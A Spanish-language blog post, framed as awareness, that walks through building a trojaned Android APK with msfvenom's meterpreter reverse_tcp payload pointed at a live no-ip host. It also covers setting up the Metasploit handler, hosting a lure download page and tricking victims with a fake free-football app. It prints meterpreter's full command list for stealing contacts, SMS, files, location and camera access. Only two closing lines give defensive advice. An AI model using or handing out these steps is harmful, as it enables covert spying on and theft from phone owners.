¿Quieres ver cómo hackeo un Android? Te enseño a evitar que te lo hagan
¿Has instalado en tu Android alguna aplicación que no estuviera en la tienda de Google?
¿Tienes alguna aplicación que te permita usar un servicio de pago pero sin pagarlo?
Ya me entiendes, Spotify Premium sin pagarlo, ves el fútbol en tu móvil sin pagar el fútbol, una aplicación que te permite ver Netflix sin pagar...
Seguro que tú no, pero tienes algún amigo que sí.
Esto te interesa.
Te voy a enseñar cómo puedo entrar en tu móvil Android a distancia, no necesito tocar tu móvil ni conectarle cables... nada.
Entro en tu móvil estando tú en el sofá de tu casa.
No voy a instalarte el Pegasus, es menos sofisticado, pero igualmente lo vas a flipar.
Por cierto, si quieres saber que es el Pegasus escribí un artículo donde te cuento qué es e incluso te doy su manual de instrucciones.

Software de espionaje Pegasus 📱
Es increíble lo que Pegasus puede sacar de tu móvil 🤯
¿Cómo voy entrar en un Android conectado a internet?
Voy a programar una aplicación para Android (archivo apk) que sea atractiva para alguna víctima.
No sé, por ejemplo, una aplicación para ver GRATIS el fútbol en el móvil.
Lo de gratis suele funcionar muy bien.
La aplicación no sería compleja, un frontend vistoso que enlace imágenes a listas IPTV.
Esa aplicación será mi caballo de Troya, dentro meteré un código que se aprovechará de una vulnerabilidad de Android para darme acceso total a tu móvil.
Mi aplicación maliciosa la serviré desde me equipo con Kali Linux.
Para que funcione tendré que redireccionar algunos puertos de mi router, pero no me quiero meter a tanta profundidad.
O sí, si te interesa me lo dices.
Un poquito de ingeniería social para que te instales la aplicación y ya estás cazado.
Pasos que voy a seguir para hackear un Android conectado a internet
Antes de nada voy a levantar el contenedor de Docker de mi Kali Linux.
Es un contenedor que tiene como base la distribución oficial de Kali Linux y que me voy tuneando a medida que voy necesitando.
Antes usaba una memoria USB con el Kali instado, pero alguna vez la memoria se ha estropeado y era una pérdida de tiempo volver a tener que crearla.
Cómo lo hago ahora es con Docker, mola.

El programa (apk) que voy a programar creará en las bambalinas una conexión reversa desde el Android infectado a mi Kali Linux.
Voy a usar msfvenom.
Es una herramienta incluida en el paquete de Metasploit
Si lo que te he dicho antes te suena a chino pasa de ello.

El comando que he usado es msfvenom -p android/meterpreter/reverse_tcp LHOST=androidfjmduranhacked.no-ip.org LPORT=4444 R /var/www/html/testfjmduran.apk

Si te fijas, junto al apk he creado un fichero inicio.html
Ese fichero sería la página desde la que la víctima se descargará el fichero malicioso.
Te la tienes que currar para que sea atractiva e incite a descargar el apk
A continuación:
msfconsole -q; se encargará de gestionar la conexiones desde el Android infectadouse exploit/multi/handler; comando que explotará vulnerabilidadesset payload android/meterpreter/reverse_tcpshow options
Con lo pasos anteriores llegaremos aquí:

Si te fijas, el puerto está configurado, en este caso el 4444 pero el host no.
El host será la IP de nuestro equipo, de nuestro Kali.
Para ello set LHOST tu-direccion-ip
Si no sabes tu IP pues la buscas con ifconfig
Por último nos ponemos a escuchar la peticiones con exploit

A partir de aquí nos toca tirar de ingenio.
Nos toca hacer ingeniería social para que la víctime se descargue e instale el apk.
Podemos poner el link en Telegram, en un foro...
¿Recuerdas el fichero inicio.html que se generó junto al apk?
Pues ese lo usaremos como página web para servir nuestro apk
La url que le pasaremos a la víctima será http://androidfjmduranhacked.no-ip.org/inicio.html
Si hacemos clic en el enlace para descargar instalaremos el apk.
Android nos da el siguiente aviso:
Aceptas todo los permisos.
Si te dice que es una APP maliciosa tu le dices que te da igual, que continue.
Una vez que hayas instalado la APK ya se establecerá la conexión con tu Kali.
Si escribes el comando help podrás ver todo lo que podemos hacer.
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
detach Detach the meterpreter session (for http/https)
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session
transport Manage the transport mechanisms
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
del Delete the specified file
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
ifconfig Display interfaces
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
execute Execute a command
getenv Get one or more environment variable values
getuid Get the user that the server is running as
localtime Displays the target system local date and time
pgrep Filter processes by name
ps List running processes
shell Drop into a system command shell
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
screenshare Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Stdapi: Audio Output Commands
=============================
Command Description
------- -----------
play play a waveform audio file (.wav) on the target system
Android Commands
================
Command Description
------- -----------
activity_start Start an Android activity from a Uri string
check_root Check if device is rooted
dump_calllog Get call log
dump_contacts Get contacts list
dump_sms Get sms messages
geolocate Get current lat-long using geolocation
hide_app_icon Hide the app icon from the launcher
interval_collect Manage interval collection capabilities
send_sms Sends SMS from target session
set_audio_mode Set Ringer Mode
sqlite_query Query a SQLite database from storage
wakelock Enable/Disable Wakelock
wlan_geolocate Get current lat-long using WLAN information
Application Controller Commands
===============================
Command Description
------- -----------
app_install Request to install apk file
app_list List installed apps in the device
app_run Start Main Activty for package name
app_uninstall Request to uninstall application
meterpreter >
- Es una locura...
- Puedo descargar tus archivos como fotos, vídeos...
- Puedo descargar tus contactos
dump_contacts - Puedo ver todas tus cámaras con
webcam_listy después conwebcam_stream -i 1abrir la cámara etiquetada como 1 que normalmente es la trasera. - Puedo instalar aplicaciones en tu Android
- ...
¿Qué no debes hacer nunca para estar protegido?
- Nunca bajes APP que no estén en las tiendas oficiales o de las que no te fíes.
- Omitir las actualizaciones de Android. Es muy importante tener nuestros dispositivos actualizados porque corrigen vulnerabilidades como la que te he mostrado.
Hasta luego 🖖






